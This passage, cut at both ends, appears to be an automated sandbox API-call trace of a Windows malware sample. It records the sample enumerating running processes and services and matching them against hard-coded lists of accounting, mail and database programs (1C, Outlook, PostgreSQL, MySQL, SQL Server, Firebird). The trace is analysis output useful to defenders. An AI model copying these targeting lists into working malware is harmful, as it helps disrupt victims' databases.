(lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0168.023] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0168.023] Process32NextW (in: hSnapshot=0x118, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0168.024] lstrlenW (lpString="csrss.exe") returned 9 [0168.024] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0168.024] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0168.024] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0168.024] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0168.024] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0168.024] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0168.024] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0168.024] Process32NextW (in: hSnapshot=0x118, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0168.024] lstrlenW (lpString="wininit.exe") returned 11 [0168.024] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0168.024] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0168.024] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0168.024] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0168.024] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0168.024] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0168.024] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0168.024] Process32NextW (in: hSnapshot=0x118, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0168.025] lstrlenW (lpString="csrss.exe") returned 9 [0168.025] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0168.025] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0168.025] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0168.025] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0168.025] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0168.025] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0168.025] Process32NextW (in: hSnapshot=0x118, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0168.025] lstrlenW (lpString="winlogon.exe") returned 12 [0168.025] Process32NextW (in: hSnapshot=0x118, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0168.026] lstrlenW (lpString="services.exe") returned 12 [0168.026] Process32NextW (in: hSnapshot=0x118, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0168.026] lstrlenW (lpString="lsass.exe") returned 9 [0168.026] Process32NextW (in: hSnapshot=0x118, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0168.026] lstrlenW (lpString="lsm.exe") returned 7 [0168.026] Process32NextW (in: hSnapshot=0x118, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.027] lstrlenW (lpString="svchost.exe") returned 11 [0168.027] Process32NextW (in: hSnapshot=0x118, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.027] lstrlenW (lpString="svchost.exe") returned 11 [0168.027] Process32NextW (in: hSnapshot=0x118, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.027] lstrlenW (lpString="svchost.exe") returned 11 [0168.028] Process32NextW (in: hSnapshot=0x118, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.028] lstrlenW (lpString="svchost.exe") returned 11 [0168.028] Process32NextW (in: hSnapshot=0x118, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x32, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.029] lstrlenW (lpString="svchost.exe") returned 11 [0168.029] Process32NextW (in: hSnapshot=0x118, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0168.029] lstrlenW (lpString="audiodg.exe") returned 11 [0168.029] Process32NextW (in: hSnapshot=0x118, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.029] lstrlenW (lpString="svchost.exe") returned 11 [0168.030] Process32NextW (in: hSnapshot=0x118, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0168.030] lstrlenW (lpString="explorer.exe") returned 12 [0168.030] Process32NextW (in: hSnapshot=0x118, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0168.030] lstrlenW (lpString="dwm.exe") returned 7 [0168.030] Process32NextW (in: hSnapshot=0x118, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.031] lstrlenW (lpString="svchost.exe") returned 11 [0168.031] Process32NextW (in: hSnapshot=0x118, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0168.031] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0168.031] Process32NextW (in: hSnapshot=0x118, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0168.031] lstrlenW (lpString="spoolsv.exe") returned 11 [0168.031] Process32NextW (in: hSnapshot=0x118, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0168.032] lstrlenW (lpString="reader_sl.exe") returned 13 [0168.032] Process32NextW (in: hSnapshot=0x118, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.032] lstrlenW (lpString="svchost.exe") returned 11 [0168.032] Process32NextW (in: hSnapshot=0x118, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0168.033] lstrlenW (lpString="taskhost.exe") returned 12 [0168.033] Process32NextW (in: hSnapshot=0x118, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0168.033] lstrlenW (lpString="dllhost.exe") returned 11 [0168.033] Process32NextW (in: hSnapshot=0x118, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0168.033] lstrlenW (lpString="taskhost.exe") returned 12 [0168.033] Process32NextW (in: hSnapshot=0x118, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0168.034] lstrlenW (lpString="dllhost.exe") returned 11 [0168.034] Process32NextW (in: hSnapshot=0x118, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0168.034] lstrlenW (lpString="dllhost.exe") returned 11 [0168.034] Process32NextW (in: hSnapshot=0x118, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0168.035] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0168.035] Process32NextW (in: hSnapshot=0x118, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0168.035] lstrlenW (lpString="cmd.exe") returned 7 [0168.035] Process32NextW (in: hSnapshot=0x118, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0168.035] lstrlenW (lpString="conhost.exe") returned 11 [0168.035] Process32NextW (in: hSnapshot=0x118, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0168.036] CloseHandle (hObject=0x118) returned 1 [0168.036] Sleep (dwMilliseconds=0x1f4) [0168.685] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5e3de0 [0168.685] EnumServicesStatusExW (in: hSCManager=0x5e3de0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1e8ff44, lpServicesReturned=0x1e8ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1e8ff44, lpServicesReturned=0x1e8ff5c, lpResumeHandle=0x0) returned 0 [0168.685] GetLastError () returned 0xea [0168.685] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11e4) returned 0x5de8c0 [0168.685] EnumServicesStatusExW (in: hSCManager=0x5e3de0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5de8c0, cbBufSize=0x11e4, pcbBytesNeeded=0x1e8ff44, lpServicesReturned=0x1e8ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5de8c0, pcbBytesNeeded=0x1e8ff44, lpServicesReturned=0x1e8ff5c, lpResumeHandle=0x0) returned 1 [0168.806] CloseServiceHandle (hSCObject=0x5e3de0) returned 1 [0168.871] lstrlenW (lpString="Appinfo") returned 7 [0168.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0168.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0168.871] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0168.871] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0168.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0168.871] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0168.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0168.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0168.871] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0168.871] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0168.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0168.871] lstrlenW (lpString="AudioSrv") returned 8 [0168.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0168.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0168.871] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0168.871] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0168.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0168.871] lstrlenW (lpString="BFE") returned 3 [0168.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0168.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0168.871] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0168.871] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0168.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0168.871] lstrlenW (lpString="CryptSvc") returned 8 [0168.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0168.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0168.871] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0168.871] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0168.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0168.871] lstrlenW (lpString="CscService") returned 10 [0168.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0168.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0168.872] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0168.872] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0168.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0168.872] lstrlenW (lpString="DcomLaunch") returned 10 [0168.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0168.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0168.872] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0168.872] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0168.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0168.872] lstrlenW (lpString="Dhcp") returned 4 [0168.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0168.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0168.872] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0168.872] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0168.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0168.872] lstrlenW (lpString="Dnscache") returned 8 [0168.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0168.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0168.872] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0168.872] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0168.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0168.872] lstrlenW (lpString="DPS") returned 3 [0168.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0168.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0168.872] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0168.872] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0168.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0168.872] lstrlenW (lpString="eventlog") returned 8 [0168.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0168.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0168.872] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0168.872] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0168.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0168.872] lstrlenW (lpString="EventSystem") returned 11 [0168.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0168.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0168.873] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0168.873] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0168.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0168.873] lstrlenW (lpString="gpsvc") returned 5 [0168.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0168.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0168.873] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0168.873] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0168.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0168.873] lstrlenW (lpString="iphlpsvc") returned 8 [0168.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0168.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0168.873] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0168.873] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0168.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0168.873] lstrlenW (lpString="LanmanServer") returned 12 [0168.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0168.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0168.873] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0168.873] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0168.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0168.873] lstrlenW (lpString="LanmanWorkstation") returned 17 [0168.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0168.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0168.873] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0168.873] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0168.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0168.873] lstrlenW (lpString="lmhosts") returned 7 [0168.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0168.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0168.873] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0168.873] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0168.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0168.874] lstrlenW (lpString="MMCSS") returned 5 [0168.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0168.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0168.874] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0168.874] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0168.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0168.874] lstrlenW (lpString="MpsSvc") returned 6 [0168.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0168.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0168.874] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0168.874] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0168.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0168.874] lstrlenW (lpString="Netman") returned 6 [0168.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0168.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0168.874] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0168.874] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0168.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0168.874] lstrlenW (lpString="netprofm") returned 8 [0168.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0168.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0168.874] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0168.874] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0168.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0168.874] lstrlenW (lpString="NlaSvc") returned 6 [0168.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0168.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0168.874] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0168.874] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0168.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0168.874] lstrlenW (lpString="nsi") returned 3 [0168.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0168.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0168.874] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0168.874] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0168.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0168.875] lstrlenW (lpString="PcaSvc") returned 6 [0168.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0168.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0168.875] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0168.875] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0168.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0168.875] lstrlenW (lpString="PlugPlay") returned 8 [0168.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0168.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0168.875] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0168.875] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0168.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0168.875] lstrlenW (lpString="Power") returned 5 [0168.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0168.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0168.875] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0168.875] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0168.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0168.875] lstrlenW 